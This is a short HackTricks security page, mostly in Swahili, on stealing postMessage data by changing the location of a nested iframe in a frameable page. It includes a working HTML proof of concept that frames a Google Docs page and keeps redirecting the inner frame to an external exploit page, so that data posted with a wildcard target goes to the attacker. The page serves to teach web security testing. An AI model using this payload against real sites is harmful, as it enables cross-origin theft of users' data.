Steal postmessage modifying iframe location

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Kubadilisha maeneo ya iframes za watoto

Kulingana na hii andiko, ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyingine, unaweza kubadilisha eneo la iframe hiyo ya mtoto.

Kwa mfano, ikiwa abc.com ina efg.com kama iframe na abc.com haina X-Frame header, naweza kubadilisha efg.com kuwa evil.com cross origin kwa kutumia, frames.location.

Hii ni muhimu sana katika postMessages kwa sababu ikiwa ukurasa unatumia data nyeti kwa kutumia wildcard kama windowRef.postmessage("","*") inawezekana kubadilisha eneo la iframe inayohusiana (mtoto au mzazi) kuwa eneo lililodhibitiwa na mshambuliaji na kuiba data hiyo.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks